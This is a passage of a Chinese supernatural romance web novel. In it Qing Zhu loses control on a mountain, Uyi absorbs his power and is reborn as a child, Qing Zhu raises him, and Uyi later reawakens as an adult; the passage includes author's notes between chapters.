他说着不免气愤,卿烛却也意识到自己方才胸膛中传出的剧痛是来源哪里,面色微微一沉,眉宇间流淌着森戾。 “不怪你,先下去。” 他将乌宜放下,可乌宜还是搂着他不愿意松手,方才的危急散去,让他又重新恢复了原本的精力。 “本来就不怪我。”他声音很小,带着显而易见的责备。 卿烛维持着俯身的姿势,思忖片刻还是俯身在他额间落下了极轻的吻。 “我处理完就来找你。” 这个动作给了乌宜无限的安定感,他微微抿唇,点点头答应,松开卿烛脖颈的同时,又忍不住踮起脚尖凑上去贴了一下他的嘴唇。 “快一点。” “嗯。” 知道自己留在这里也是耽误卿烛,乌宜很快便朝着他指引的下山路线跑去。 身后的一切都被抛开,下山的路陡峭,偶然遇见几个封家的人,也被他身上所残存的力量震开,手腕上细镯弥漫着黑雾。 还真是贴心。 乌宜自己安全下来,又忍不住去担心李青泉,虽然他已经和卿烛说了李青泉和空缘的事情,但也不知道空缘他们会不会真的对李青泉下手。 心底满是担忧,可另一面,他又觉得空缘应当不会对李青泉下手才对。 矛盾间,他隐约看见下方出现了几道身影,虽然身上有防御的力量,但他还是下意识躲在树干后面,不想跟这些人正面碰上。 谁料随着脚步逐渐逼近,他却看出了其中一人的身影熟悉。 “陈叔叔。” 他一怔,下意识出去。 陈叔是赵易的私人保镖,先前他和赵易有限的见面时光里,和陈叔见过好几次。 乌宜根本没想到会在这里见到他,一时间有些诧异,而陈叔却是骤然松口气。 “小宜,你快跟我们一起下去,山上太危险了。” 乌宜猜测他们也并不清楚上面发生了什么,自己也没有准备解释,只是点点头,跟随着他们快步往山下赶去。 可还没到山脚,另一侧就传来簌簌响动,像是树丛被身影掠过时造出的动静。 陈叔他们下意识放轻脚步,乌宜转头看去,循着风声听见了那边传来的说话讨论声。 “所以我们现在该去哪?” “空缘大师让我们找到这个方位,应该就在这附近。” “……” 乌宜脚步停滞,久久没有追上。 陈叔就在他身侧,见状也跟着停了下来,“怎么了?” “那边的声音……”乌宜脸色有些苍白,“我听着有点耳熟。” 陈叔想也不想,“他们人有些多,我过去看看?” “不要。” 乌宜下意识拉住他,满脸都是抗拒,他知道那些人有多危险,他不想让无关的人卷进这些事情里。 “那我们先走?” 对于这个安排,乌宜也并不那么放心,他透过密集的树丛,能够隐约看清楚一道身影,那人穿着湛蓝色风衣,像极了上山时曾被封赐讽刺过的谢知意。 他对于卿烛出事的结果那样期待,又怎么会轻易离开?那只能是他们护送的东西尤其重要了。 想明白这一点,他攥紧拳头,转头环顾四周,都没有看见封赐和空缘的身影,猜测他们已经和卿烛对上了。 一时间,他改变了主意。 “陈叔,我要从他们手上拿走一样很重要的东西。” 陈叔听后没有任何犹豫,“好,我让人去那边吸引他们的注意,小宜你跟我走。” 一行人兵分两路,乌宜跟着陈叔绕到另一侧,待不远处的人发出骚乱,便见陈叔纵身扑了上去。 谢知意身后的人显然是专门训练过的,身材高大而挺拔,一看就知道有真功夫,趁着两人扭打在一起,木盒重重落在地上。 乌宜正欲捡起,砰的一声炸开,收下的木盒骤然被击穿了一个大洞。 原本杂乱的四周瞬间陷入死一般的寂静,乌宜的手顿在原地,几乎还能感觉到有什么东西飞速蹭过的后怕。 “都给你机会了,你倒好,非但不跑,还留在这想坏我好事。”谢知意紧咬着牙,抬了抬枪口,“起来。” 乌宜还是第一次见到这个东西,怔愣地看着谢知意,半晌还是没有动,放在木盒上的手反而更重地压在上面。 “你——”谢知意显然没想到他的胆子这么大。 乌宜垂眸,看着木盒上的破损,“你打穿了盒子,那里面的东西呢?” 他并没有要找谁得到答案的意思,自己低着头打开了盒子,看见里面浓郁的黑雾迎面袭来,那些雾气像是遭到攻击漫无目的扩散的鬼魅,直冲天际。 “我看你是找死!” 谢知意将枪口对准乌宜的眉心,可还未来得及扣下扳机,地面猛然发生了剧烈的震颤。 乌宜本就半蹲着,因此直接跌坐在地上,而周围原本站着的人就更加狼狈了,有人直接从陡峭的山崖滚落下去,骨碌碌消失在了向下延伸的丛林之中。 “发生什么了?” 谢知意身体失重,狠狠撞在树干上,还没来得及再对准乌宜,身侧便有人奋不顾身地扑了上来,猛地将谢知意手中的枪撞飞。 一瞬间,地动山摇,整座大山都在震颤,地面的枯枝落叶纷飞而起,就连湿润的地面都蔓延开了龟裂般的纹路,一条条一道道,可怖无比。 “天、天上的是什么东西?”有人发出了惊恐的声音。 乌宜将木盒盖上,骤然抬起头,瞳孔骤缩。 从山顶的方向,有浓重的红黑色雾气正朝着他们的方向迅速驶来,来势汹汹,甚至让人感受到一阵强烈的森然和不详。 “乌宜,快走!” 乌宜回头,才迟钝发现方才扑倒谢知意的人是不知何时出现的李青泉,他浑身是泥土,看起来很是狼狈。 “山上的情况不太好,你赶紧下山,跟傅总他们会和,尽快离开这里。” 乌宜被他扶起,下意识抱住那木盒,踉踉跄跄往下跑。 “为什么?上面怎么了?” 他脑子很懵,此时即便没有回头,脑海中也满是那几乎将天空完全遮盖住的暗红。 平时根本不是这样的,是不是因为心脏受损了,导致卿烛的状态不好。 身边的李青泉许久没有开口,他正着急要再次询问,抬起头却看见了对方迟疑闪躲的目光。 意识到不对,他猛地顿住脚步,“你跟我说实话。” 声音微微颤抖,李青泉犹豫着看向那张苍白的小脸,艰难道:“卿先生他状态有问题,我师傅对这座山动了手脚,导致他发狂了,山顶已经完全被夷为平地,我们还是快走吧,否则很快也会波及到的。” 乌宜微微睁大眼睛,“在心脏被损伤之前,他就已经失控了?” 李青泉愕然:“他的心脏受损了?” “……” 一时间,乌宜心乱如麻,莫大的恐慌在心脏升腾盘旋。 “别管了,我们先下山。” 陈叔他们也已经汇合,齐齐朝着山下赶,乌宜懵懵懂懂被李青泉拽着跑了一段,最终还是控制不住地停下了脚步。 “你们先走吧,我还有别的事情。” 李青泉不可置信地看着他:“乌宜,现在情况紧急,不是你闹脾气的时候,你没听见他们之前说的事情吗?卿先生一旦失去了理智,谁都会不认识的。” “我知道,但是我不能让他这样下去。” 乌宜来的路上始终安安静静望向窗外,看见了山脚下不远处的村庄,现在村子里人少了,只有稀疏的老人在这里养老,可无论多少,这些都是生命。 不仅如此,这座山还有很多不该死的人。 如果几十年前卿烛真的曾经犯下过屠戮村庄那样的过错,他就更不能让卿烛再重蹈覆辙。 李青泉:“你留在这里又能有什么办法?” “有的,你曾经和我说过。”乌宜气息未平,周围的一切嘈杂似乎在此刻都与他无关。 “那个方法是有用的,我试验过。” 李青泉露出难以置信的表情,“现在这种情况,你现在又要去哪里找能让他恢复理智的东西?” 第57章 “我不知道。”乌宜诚实地摇摇头, 又抱紧了怀里的木盒,“或许这个还可以派上用场。” 陈叔折返回来劝说他们,“赶紧走吧, 刚才那群人都掉下山崖,现在这里太危险了。” “我不会出事的。”乌宜摇摇头,“你们先走吧,我很快就会跟上的。” 他想了想,还是没有将手中的东西交给两人, 属于卿烛的物品无论放在谁的身上,都会带来麻烦,还是由他拿着最为合适。 李青泉定定地看了他良久, 最终重重叹口气, “你要去哪,我陪你一起。” “真的不要, 你赶紧下山吧,让傅流晔和赵易他们也都走远些。”乌宜面露担忧, “卿烛在,我就会没事的。” 不知为何,李青泉知道自己应该相信他的话, 可此时心中却翻涌起一股强烈的不安预感, 仿佛很快就会发生什么不好的事情。 这种预感对他而言有些陌生,以至于此时他看着乌宜即将转身离开, 却舍不得听从他的话回头。 乌宜不想再跟他多言,抱着箱子急匆匆朝着山上跑去。 地动山摇,他几乎站不稳,脚下的树根骤然膨起,他猛地摔在地上, 箱子本就破损了,黑雾笼罩的东西落在地上,几乎将土地也侵蚀成了相应的黑焦,大片大片朝着周围蔓延。 乌宜怔愣地看着,脑海中拂过不少言语。 “他曾经发狂失控,杀人无数!” “控制不住自己力量的怪物,才是最可怕的。” 封赐和空缘略带讽刺的面容似乎近在眼前,可在喧闹嘈杂褪去后,四周却又变得安静。 他看见自己回到了那个温暖的家,卿烛侧躺在他旁边,长发垂落在身侧,被暖黄色的床头灯附上一层金黄,他殷红暗沉的眼眸中满是放松,片刻后,若有所思。 “我最怕控制不住自己。” 乌宜的手不由自主地颤抖起来,回过神,眼前的画面已然变得朦胧不清,眼泪一滴滴砸下,他忽然间很后悔。 当初在卿烛说那些的时候,他为什么没有去安慰一下呢? 头顶的一缕缕雾气拉长收细,逐渐扭曲成了鬼魅的模样,殷红的嘴唇延长弯起,令人毛骨悚然。 “快跑啊!空缘大师已经掉进山崖缝隙里了,听说……那怪物直接生吃了他!” 周遭有人惊慌失措地往山下跑。 乌宜下意识看过去,却见有人背着个浑身是血的男人正往下跑,那人穿着短褂,身上血淋淋的,花白的头发若隐若现。 那是……封天骄。 乌宜艰难地站起来,正要将心脏装回木盒中,后脑却忽然一凉。 他身体骤然顿住,隐约间嗅到了来自于身后的淡淡血腥味,让他瞬间有了猜测。 “谢知意。” 身后的人没有开口,抵着他东西却挪开了些,乌宜知道他的意思,便抱着盒子回头。 不是谢知意,是封赐。 此时的封赐全然没了上山时的气定神闲,浑身泥土脏污,显得格外狼狈,此时面色沉重,一只手持枪指着他,另一只手伸出:“把东西给我。” “到现在这种时候,你要这个还有什么用?”乌宜冷冷看着他,“你不怕死吗?” 封赐丝毫不惧,“我父亲已经出事了,你也看见他杀了多少人,不觉得太过分吗?既然已经发生的事情没有办法改变,那我只能让他再痛苦一些。” “你要做什么?”乌宜愕然。 “这东西已经受损了,即便装回他的身体,也只会让他更狂,我可不想让他能力再增加,只有毁了这东西,他自然能露出软肋,到那个时候我们就都不用死了。”封赐双眼赤红,已经有些维持不住自己的情绪,“给我!” 此时乌宜根本没办法判断他说的究竟是真是假,可他根本做不到伤害卿烛。 更何况,他也并不觉得那些曾准备致卿烛与死地的人有什么好怜悯。 他想明白了,只是摇摇头:“我不会给你的。” “你——”封赐脸色狰狞。 乌宜深吸一口气,平静地看向他,“你杀了我吧。” “你以为我不敢吗?” 封赐抬手对准他的眉心,可下一瞬意识到了什么,猛然调转枪口对着另一个方向。 乌宜趁此机会转身要跑,可眼前却骤然覆上了浓郁的黑雾,冰凉刺骨的气息袭来,几乎让他下意识打了个寒颤。 “啊啊啊啊——” 撕心裂肺的吼叫声从身后传来,他惊愕的回头,那如同针般锐利的雾气自封赐的身体窜过,像是将他的身体完全抽空了,整个人轻飘飘地往地上坠,像是变成了一张薄如蝉翼的纸张。 乌宜顿感后脊发凉,可还未等他起身逃跑,浓重黑雾中透出了一双猩红的眼眸,正冷冷地注视着他。 封赐的话他不敢相信,可又怕那是真的,只得将那木盒紧紧抱在怀中。 隐约间,其中蕴含的力量仿佛正在窜动,似乎带着某种渴求的欲望,让乌宜有些害怕。 卿烛似乎已经完全不认识他了,那黑雾笼罩在他身侧,却逐渐掠夺这一片的空气,逐渐让他呼吸不畅。 乌宜曾见过卿烛用这种手段对付其他人,却从没想过有一天会在自己的身上被使用,他脸颊逐渐涨红,眼前几乎难以视物,却还能够准确无误地捕捉到卿烛那双冷酷疯狂的眼眸。 他不想让卿烛这样,如果他清醒过来,一定后后悔的。 无形之中,他的心思已然发生了改变,那吸引他的力量终究还是迫使他艰难地打开了盒子,几乎控制不住地握住了那如同寒冰般的雾气。 一瞬间,磅礴而又汹涌的力量骤然窜入他的身体,太多太满,他几乎感觉身体要炸开。 周围浓郁的黑雾骤然窜起,一瞬间炸开,冲天的白光乍现。 “……” 李青泉方才被震到坡下,好不容易爬上来,看见眼前冲天的火光,整个人都僵住了。 他看见不远处的模糊人形,周围都是东倒西歪昏过去的人,可却没有他找寻的那道身影,心中猛然有了猜测,他颤抖地看向火光中心,忽然间红了眼眶。 “乌宜……” 下意识要冲上前去,可那火光笼罩之处却扩散开炎热的温度,他猛地退后,可外套沾到的位置还是眨眼的功夫就被烧了一大片。 根本没办法靠近,只要贴近一些,那温度似乎就能将他完全灼伤。 那乌宜岂不是已经…… 悄然间,方才不受控制的狰狞黑雾骤然消散,像是主人终于恢复了控制的权力,将其尽数收回。 原本震动的大山骤然安静下来,四面的哀嚎声逐渐变得清晰可辩。 李青泉看着那道模糊的黑影,仍旧能够感受到那种来自骨子里的胆寒和畏惧,他并不蠢,方才那些人惊恐地朝着山下跑去,对话也被他收入耳中。 他师傅死了吗? 心中涌现出莫大的悲伤,他曾被视作亲人的存在如今消失了,他说不难过是不可能的,可杀死他的人是卿烛。 一时间,记忆涌现。 他忽然想起自己小时候,看见师傅千辛万苦与鬼混搏斗,最终伤痕累累去找主家收钱,那时候他还过分单纯,哭着求师傅别再做这么危险的事情。 可空缘只是笑呵呵地看着他,语气中带着分明的严肃。 “公平竞争,胜者为王。”既然是我铁了心要让他魂飞魄散,那若是我技不如人,这条命也是我心甘情愿送出去的。 眨眼间,视线朦胧模糊,乌宜的声音又再次浮现在脑海中。 “我倒是不怕死,其实我早就死过一次了。” 真的不怕吗? 李青泉重重垂下头,眼泪大颗大颗砸如焦黑的泥土之中,整个心脏像是被活生生劈成了两半。 面前的火光还未散去,卿烛恢复了人形,周遭弥漫着还未完全收回的雾气,潮湿而冰冷。 他望着远处的火,血红的眸映出那狰狞摇曳的火光,足足怔愣了半刻钟。 他的心脏已经随着力量被汲取殆尽消失不见,可胸膛中传出的阵阵疼痛,却好像那东西还残存。 和上次不一样,这一次力量失去控制时,他始终旁观,像是个局外人,看着大山震动地面裂开,耳边尽是嚎叫求饶,每一声,每一句,都烙印在他的脑海中,久久无法消散。 甚至连那双懵懂单纯的眼眸直直望向他时,那种孤注一掷的期盼,仿佛也刻在心上,此时一遍又一遍回荡,像是对他的凌迟。 他胆子那么小,又怎么敢做这种事。 “卿先生。” 卿烛侧眸,见李青泉踉跄地站起来,面上尽是茫然。 “乌宜他……死了吗?” 话音落下,一股力量宛若长鞭将他抽出几米,李青泉险些没有站稳,只能含着眼泪说:“山下的情况不知道怎么样,您如果愿意的话,能不能先将山动停下。” “封家和谢家找的人虽然都是亡命之徒,可山下还有很多是我们自己的人,他们还没来得及离开。” 卿烛甚至连看都没看他一眼,抬头望向了久久未散的漫天火光,烟雾袅袅升腾,旁人感受是炙热滚烫的,可他靠近时,却只感到刺骨的冰冷。 “卿先生!” 李青泉不可置信地看着他踏入了那火焰之中。 那火焰烧得愈发旺盛,可漫天浓重的黑雾却猛然暴涨,沉沉地压下来,两股力量在空中激烈地交缠涌动,直到那火焰一寸寸被压下,周围蒸腾开水汽,在树林中骤然蔓开。 焦黑的泥土仿佛得到某种滋养,水迹片片扩开,那成型的黑雾在空气中抽枝散叶般拔高扩张,形成了一个足足三米高的巨物,而雾气蔓延散去,那臂弯之中正坐着一个如白玉般精雕细琢的漂亮小孩—— 作者有话说:准备完结,之后收尾,卿爹养崽记 欢迎番外点菜 第58章 “这是……乌宜?” 李青泉震惊惶恐, 看着空中那约莫只有三岁的小娃娃,如同新生儿般稚嫩单纯,一双水蓝色的眼眸干净而澄澈, 此时正眨巴着大眼睛看着四周,似乎对这世间的一切都感到无比新奇。 雾气悄然散去,卿烛单手抱着怀中的小孩落地,并未阻止李青泉迟疑的靠近。 那孩子和乌宜简直是一个模子里刻出来的,同样漂亮的面容, 可只有柔软而短的头发,变成了奇异的蓝白色。 李青泉下意识想伸手摸摸,卿烛却将那小家伙收入怀中, 狭长冷淡的眸直视着他。 而那小孩也丝毫没有害怕, 眨眨大眼睛抬起脑袋,目不转睛地盯着卿烛, 像是有些好奇,但很快又窝进他的怀里, 打了个小小的哈欠。 “简直奇迹啊。”- 深城一村庄突发小型地震的消息上了新闻,镜头中是裂开的大地,有十余人丧命, 而其他留下的幸存者在接受采访时都是木木呆呆的模样, 完全想不起来自己去那么偏僻的地方是为什么。 新闻的热度持续了一段时间,等热度褪去后, 李青泉也终于处理完师傅的后事,再次下了山。 再度来到那熟悉的别墅外,院内的花草茂盛美丽,可却没了他熟悉的身影。 他没有像前几次那样直接进去,而是摁响了门铃, 等大门自动弹开,才进门换鞋朝着楼上走去。 三楼露天阳光正好,摇椅上躺着一个身穿衬衫的男人,长发束成侧马尾搭在肩头,身侧的黑雾汇聚成一只手,正轻轻摇晃边上的摇床。 李青泉看见小乌宜正在睡觉,便放轻了声音,“卿先生,谢谢您帮我把师傅的遗体从大山里找出来,他老人家已经安葬好了。” 卿烛只淡淡嗯了声,然后想起什么似的,说:“宋成准备去投胎了。” 提到熟悉的名字,边上耷拉的小苗忽然晃了晃,然后一道虚影在空中逐渐浮现。 宋成还是那副老实的模样,李青泉看见他,一时间不知道该说什么,只能点点头。 “抱歉。”宋成说。 李青泉重重叹口气:“没事,我师傅做的决定别人永远没办法改变,既然是他自己愿意,我也只能尊重,更何况……您也是为了保护卿先生,我能理解。” 之前在山上,他一直以为是卿先生使得他师傅坠下山崖,导致他在某个瞬间,心中尽是迷茫。 乌宜是他最好的朋友,帮助了他那么多,而对于卿先生,他也始终尊敬,即便他知道师傅出事是因为自己生了邪念,可这种情绪也并不那么好调节。 只是那天等卿先生准备离开时,看见漂浮在后面的宋成,他才得到了确切的消息。 他师傅决心对卿先生下手时,是宋成及时赶到,一人一鬼缠斗间,他师傅失了性命。 “宋成造了杀孽,你替他超度。”卿烛说。 李青泉微怔,有些不敢相信,“您还愿意相信我吗?” 他师傅险些害了卿烛,更何况……乌宜变成现在这副样子,也有他师傅的责任在,可卿先生分明睚眦必报,却还让他替宋成超度。 “相信你的另有其人。” 卿烛语气淡淡,重新靠回了摇椅上,而边上的摇床,漂亮的小白团子乖乖睡着觉,软糯的脸颊肉微微鼓起,十分可爱。 李青泉收回目光,郑重点头- 夜深,李青泉离开,宋成的魂魄就此消散,苗苗因为前些日子的透支陷入沉睡,需要修养很长一段时间才能养好。 卿烛腰间系着围裙,在厨房中忙碌。 黑雾幻化成无数双手,有的在客厅爬爬垫上陪乌宜玩,有的在水池中清洗食材,不多时便将晚餐做好。 洗干净手,卿烛换了衣服,将小家伙稳稳抱起,感受到软乎乎的小手在脸颊上抚摸。 “饿。” “嗯,吃饭。” 卿烛看了不少辅食制作教程,成品倒是也色香味俱全。 乌宜很有食欲,不多时填饱了肚子,便坐在沙发上开始发呆,大大的眼睛盯着不远处的手,地上的东西都被捡起整理好,变得很干净。 新闻时间,卿烛收拾完屋子回来抱他,稀薄的武器被注入那小小的身躯,不过十分钟的时间,小家伙便陷入了沉睡。 夜深人静,卿烛搂着怀中的小团子,脑海中忽然罕见浮现出了久远的记忆。 他很少追忆过去,活了这么多年,能够在脑海中留下的记忆少之又少,可分明只是十年前的画面,如今却成了他难得值得的回忆。 初见乌宜时,他木讷而呆板,像是被抽空了灵魂的空壳,面对一切都很畏惧,看见成人在面前抬起手,就会下意识抬手去遮挡,露出惊慌的表情。 他花了很长的时间,才让那个小孩愿意和他交流,从开始的遮遮掩掩到之后的胆大妄为,他不喜欢与人亲近,却对这个干净无害,在他面前毫无秘密的小家伙不同。 见惯了波云诡谲的交往相处,和乌宜在一起时毫无隐藏的放松,对他而言难能可贵。 而现在,小家伙还没到那个被欺负长大的年纪,单纯而又外向,丝毫不怕生,见到谁都是露出漂亮可爱的笑容,张开手要抱抱。 几日后,岑悦和傅流晔上门做客。 他们已经和卿先生申请过许多次,最终还是岑悦建议,说孩子在这个年纪最是要见人,之后才能不怕生,这才说动了卿烛。 虽然早知道乌宜浴火重生的事情,可当两人真的上楼见到了与乌宜同一个模子里刻出来的三岁小孩,却还是不由得愣住。 “我真怀疑在做梦。” 岑悦既心疼又怜爱,刚走过去,就看见正窝在娃娃堆里的乌宜坐起来,冲她张开小手。 岑悦连忙过去将他抱起,有些想哭,“哎哟,真变回小娃娃了。” 傅流晔也很是感慨,凑过去摸了摸那柔软的发丝,“头发都变白了。” “是蓝色的,又顺又滑,好看。”岑悦笑了笑,“跟瞳孔颜色一样,等小宜长大些,会更漂亮。” 说到这里,她脸上的笑容又收敛了些。 如果真的按照正常人的生长路线,乌宜还得再过个十几年才能变回原本的模样,等到那个时候,她已经上了年纪。 心中不由得感慨,两人望向露台,卿烛正站在阳台上浇花,看起来已经完全融入了城市生活,除了过分出众的外貌,旁的和普通人再没了半点区别。 “没事,小宜从前本来就过得苦,重新长大一次,让他幸福些。” 傅流晔捏了捏那白玉豆腐般的软糯脸颊,惹得小家伙咯咯笑了起来。 在岑悦的建议下,卿烛允许他们将乌宜带回家住一段时间,他人没跟过去,却将黑雾凝聚成的纤细黑玉镯重新凝结在了小家伙的手腕上,让他好无时无刻找寻自己。 岑锦对自己忽然多了一个漂亮弟弟这件事很高兴,整天带着乌宜出去玩,两个小家伙虽然稚嫩,但都很懂事成熟,岑悦起初还有些担心,之后在楼上张望时瞧见黑雾始终跟随在乌宜身后,便放任他们去了。 岑锦上了学,却还不怎么认字,睡前带着乌宜回到房间,两个人躺在一起听故事。 夜色渐深,屋内灯光暗淡,皎洁月光柔和撒入一室。 在乌宜困倦合眼后,一旁原本乖乖躺着的岑锦忽然起身,将床头那只又香又软的小兔子塞进了他的怀里,月光洒在床尾,她跪坐其中,双手合十,虔诚无比。 “希望哥哥可以快一点长大。” 这些天,妈妈和哥哥都在讨论乌宜哥哥身上发生的事情,虽然有在刻意避着她,可她还是搞清楚了来龙去脉。 她想,这只兔子曾经给自己带来了很多的好运,让她离开了那个可怕的家,感受到了这份幸福,现在她也想要让乌宜哥哥幸福起来。 她有些想念在福利院门口时,漂亮小哥哥牵着她的模样。 “……” 清早,傅家客厅弥漫着茶香。 岑悦望着面前的男人,笑道:“我看其实也可以让小宜在家上上课,有助于智力开发,他现在都不怎么爱说话。” 卿烛端起茶盏喝了一口,没有说话。 傅流晔刚锻炼完回来,气息有些沉重,思忖片刻还是问:“卿先生,您不能用原先那种方法,让小宜快一些长大吗?” “他情况不同。” 事实上,卿烛所有方法都已经试过了,倘若是旁人汲取了他的力量,即便是刚咽气也能被硬生生从鬼门关扯回来,可乌宜不同,他的身体像是个无底洞,吸入的力量就像是化作了虚无,毫无作用。 他始终维持着那副单纯无邪的孩童模样,极少时才会张口说话,但多半也只是普通的单音字。 傻傻的。 岑悦叹了口气,有些惋惜。 几人还未来得及再说些什么,楼上忽然传出咚咚咚的急促脚步声。 “妈妈不好了!他——” 岑锦赤着脚跑下楼梯,话还未说完,身侧就有剧烈的风裹挟着黑雾猛然窜过,让她瞬间怔住,后背发凉。 “快去看看。”岑悦跟着傅流晔也匆匆忙忙往楼上赶。 房间门还是敞开的,卿烛进入时,床帐落下,他绕至侧面,看清床上的人,也下意识怔住。 小团子长大了些,身条如同柳枝般生长,已经变成了约莫10岁的小少年,发丝长至肩侧,柔软垂下,拂在白生生的脸颊侧面。 似乎感觉到有目光落下,纤长卷翘的睫羽轻颤,他缓缓睁开眼睛,水蓝色的瞳孔清澈干净,看清楚眼前的人,立马露出一个高兴的笑,坐起来张开纤细的手臂,如同第一次说话般,轻盈又认真。 “哥哥,抱。”—— 作者有话说:小宜重生以后就是封面的亚子[摸头]嘻嘻 第59章 从那天后, 乌宜的身体就开始以肉眼可见的速度长大,基本半月就能长个一两岁,只是心智仍旧不健全, 外形已经变成了15岁的美少年,跟人说话的时候却还是眨巴着那双明亮大眼睛,极少数才会憋出一两个字。 沈跃原以为他已经想起来,找机会赶回国,却只对上了一个稚嫩单纯的小少年。 他的成长痕迹太明显, 即将入夏,卿烛索性带着他前往他从赵易手中买下的海岛,去无人处养孩子。 甜品店暂时交由岑悦打理, 卿烛整日空闲, 余下的时间都陪乌宜在岛上走动,李青泉蹭傅流晔的私人飞机来过一趟, 将那时在山上找到的东西都交给了卿烛。 那只许久没人用的手机再次打开,卿烛无意间看见那社交软件上不少人正在催更, 还有许多私信表达思念,他这才发觉乌宜在网络上已经成了个有名有姓的小网红,还有不少营销号在阴暗揣测。 他知晓乌宜喜欢什么, 将管家特意制的午餐拍下, 照片背景露出不远处的湛蓝海岸。 照片发出,粉丝狂欢, 赞叹是熟悉的味道,又问是去哪里度假了,卿烛不需多想,回忆着乌宜一贯的说话方式,简单回复了两条评论。 之后的日子, 有合适的机会,他便将生活图片分享到软件,前些时间狂掉的粉丝逐渐涨了回来,那些揣测也终于停止。 玩偶守护神的话题下,已经很长一段时间没有新人进入,引得不少用户焦虑。 [怎么这么久都没动静了?不会是已经功德圆满?] [不会吧,说不定只是暂时闭关了] [不是吧,这个话题热度居然还这么高,之前不是说是传谣吗?] [闲人免进哈,谁真遇见了谁知道,那我就希望早日闭关飞升] [像玄幻剧了都,呜呜呜我最近生活好不顺利,蹭一下这里的好运] [……] 日子一天天过去,半年后,乌宜已经逐渐长成了成年时的模样,只是心智没有任何改变,仍旧是不说话,见到熟悉的人就会笑。 照顾他这件事,从很多年前开始就成为了卿烛的习惯,他并不着急,待到了年底,想到云京太冷,又带着他换了一幢房子住,保持新鲜感。 可即便这样精心的照料下,某一天潜水回来,乌宜半夜却忽然陷入了高热状态,那温度始终不退,让卿烛难得有了心慌的感觉。 发丝被汗水沾湿,乌宜整个人像是刚从水里被捞起,莹白的皮肤在灯光下近乎透明。 卿烛源源不断往他身体内灌输力量,可却没有丝毫作用,那身躯中仿佛有着一团火在灼灼燃烧,难以熄灭。 从天黑坐到天亮,接连几日他都没有合眼,只是某日坐在昏暗的房间里,有一种无形的力量仿佛正在空气中涌动,使得他不知不觉就失去了意识。 梦境中很安静,他看见了不少属于自己曾经的回忆,秦东临和傅桉都还是少年,整日跟在他身后,望向他的眼神总是崇敬又畏惧。 那段时间他的力量总是不受控制,整日心情都烦闷而躁动,甚至在某个午夜险些控制不住,使得他只能长久保持清醒。 很久,他连一个人都没看见过,可这日到了大东的生日,他本就是同其他几人关系最好的,趁着四下无人来找寻卿烛,想要借着这个日子感谢救命之恩。 卿烛听完了他的话,等人离开之后,却愈发感觉力量正不受控制地外泄,他走出屋子,看见天空中是一轮血月。 几乎是在那瞬间,浑身的力量倾泻而出,不远处传来还未离去的大东的惊呼声,他下意识脱离躯体裹挟着浓雾离开,可才驶入夜空,就骤然失去了意识。 他极少有疲惫的感觉,可那天醒来之后,浑身却是前所未有的疲累,仿佛不眠不休了几千年。 魂魄已经归体,他坐在窗前睁开眼,出门却听见离开的脚步声,那背影是阿风,显得匆忙而慌乱,跟他平时完全不同。 意识到不对,他身形一晃,阿风的身影一顿,瞬间倒了下去,而他伸手触碰对方额角,大段的可怖回忆瞬间侵入脑海。 他看见属于自己的力量笼罩在夜空,几乎将方圆一百里的夜空尽数遮挡住,不再有皎洁的月光映亮大地,几乎伸手不见五指,像是来到了异世。 哭嚎、惨叫声不绝于耳,房屋倒塌,家庭支离破碎。 一夜之间,他们曾落过脚的地方被夷为平地,那些村庄就像是从来没存在过。 回忆的最后,从山上看见这一幕的阿风惊恐地转身离开,跌跌撞撞险些从山崖滚落下去。 “……” 卿烛回到现实,看也没看倒在地上的人,抵达山崖之巅,发觉阿风记忆中的一切都已然成为了现实。 从前只要站在这里就能听见儿童嘻闹的声音,今天却安静过头了。 他向来不因外人而受到影响,可此时身体的力量却像是被抽空,定定地望着山下良久,回忆起自己这段时间的隐约失控,终于下了决心。 并没有浪费时间,当天他便将几人带下了山。 对于他忽然提出的沉睡,几人反应都很大,但他心意已决,几人便也听从了他的安排,决定明天一早便各自出发,前往天南海北,将卿烛留下的东西视作传家宝,创家立业,流传下去。 当日深夜,几人都陷入熟睡,一缕黑雾化作黑云回到村庄,妖异的血红侵蚀大地,空气中滋生出丝丝缕缕的裂缝,在这样的撕裂狰狞下,时间仿佛倒流了。 被夷为平地的村庄以肉眼可见的速度重塑,原本一片死寂的地界重新传出虫鸣鸟叫,恢复了原有的人气。 同地面不同,空中那道身影逐渐变得稀薄模糊,仿佛被寒风一吹,便会宛若烟雾般散开。 身体一轻,卿烛用最后的力气将手探入胸膛之中,猛然将心脏挖出,沉入大地。 身形消散,他的神智四散分开,被早早准备好的容器所吸纳。 第二天清早,六人醒来,卿先生已不见踪影。 众人纵然不舍,却也只能相继道别,离开了林水镇。 过往的记忆清晰可见,卿烛分明已经淡忘,可在梦境之中,那种逆转时空所带来的疼痛感,似乎又重新降临,让他又感受到了那撕心裂肺的痛苦。 不知不觉间,有人轻轻捧住了他的脸,俯身下来同他额头相抵,温柔而又乖顺。 “不怪你哦。” 心脏像是被落下一击重击,他缓慢地抬起头,对上了那双他熟悉而又思念的眼眸。 对方的身形虚幻,眼神和笑容却都是他见过无数次的。 “卿卿,想你啦。” 他下意识迎上,可还未来得及握住那熟悉的后颈,怀中的人便如同缥缈雾气般散去,梦境就此坍塌。 骤然睁开双眼,卿烛还坐在沙发上,他看着茶几上已经晾干的毛巾,回想起自己昏睡前,才刚给床上的人擦过一次身。 窗外逐渐亮起,他起身拉开窗帘,再度走到床边,明媚的金色日光撒入的那瞬间,那薄薄眼皮下的纤长睫毛微微颤抖,他微怔,某种预感在心中缓缓升腾。 迎着阳光,乌宜缓慢地睁开了双眼,蓝色瞳孔中晃着水光,懵懂而迷茫,像是刚降临于世间的新生儿。 他很轻地眨了眨眼,然后坐起来,卿烛刚给他擦过身体,里面什么也没穿,被角顺着身体滑落下来,露出了白皙漂亮的身体。 已经长了的头发垂落在身侧,遮盖住大半身躯,只是那双眼始终怔怔地盯着卿烛。 见他醒了,卿烛松口气,下意识抬手来试他额头的温度,还未触碰到,手却被抓住了。 乌宜两只手抓住他的手指,逐渐露出一个欣喜的笑。 “卿卿。” 他声音软糯轻柔,带着点儿稚嫩的尾音,好像是很久没有发声说过话的人,对讲话这件事还感到陌生和不熟练。 卿烛的手微微一抖,狭长妖异的眼眸下意识眯起,还未来得及开口说些什么,乌宜就很高兴地扑进了他的怀里,细长藕白的胳膊紧紧圈着他的脖颈。 被熟悉的香气包围,卿烛垂下头,嗅了嗅他身上的馥郁气息,空荡荡的胸膛中流淌出难以忽视的暖意。 “怎么忽然醒了?” 乌宜紧紧贴着他的脸,像是一刻也不想分开,他说:“好像梦见你想我了。” 说到这,他忍不住想要笑,又用力抱住卿烛,把自己往他的怀里塞。 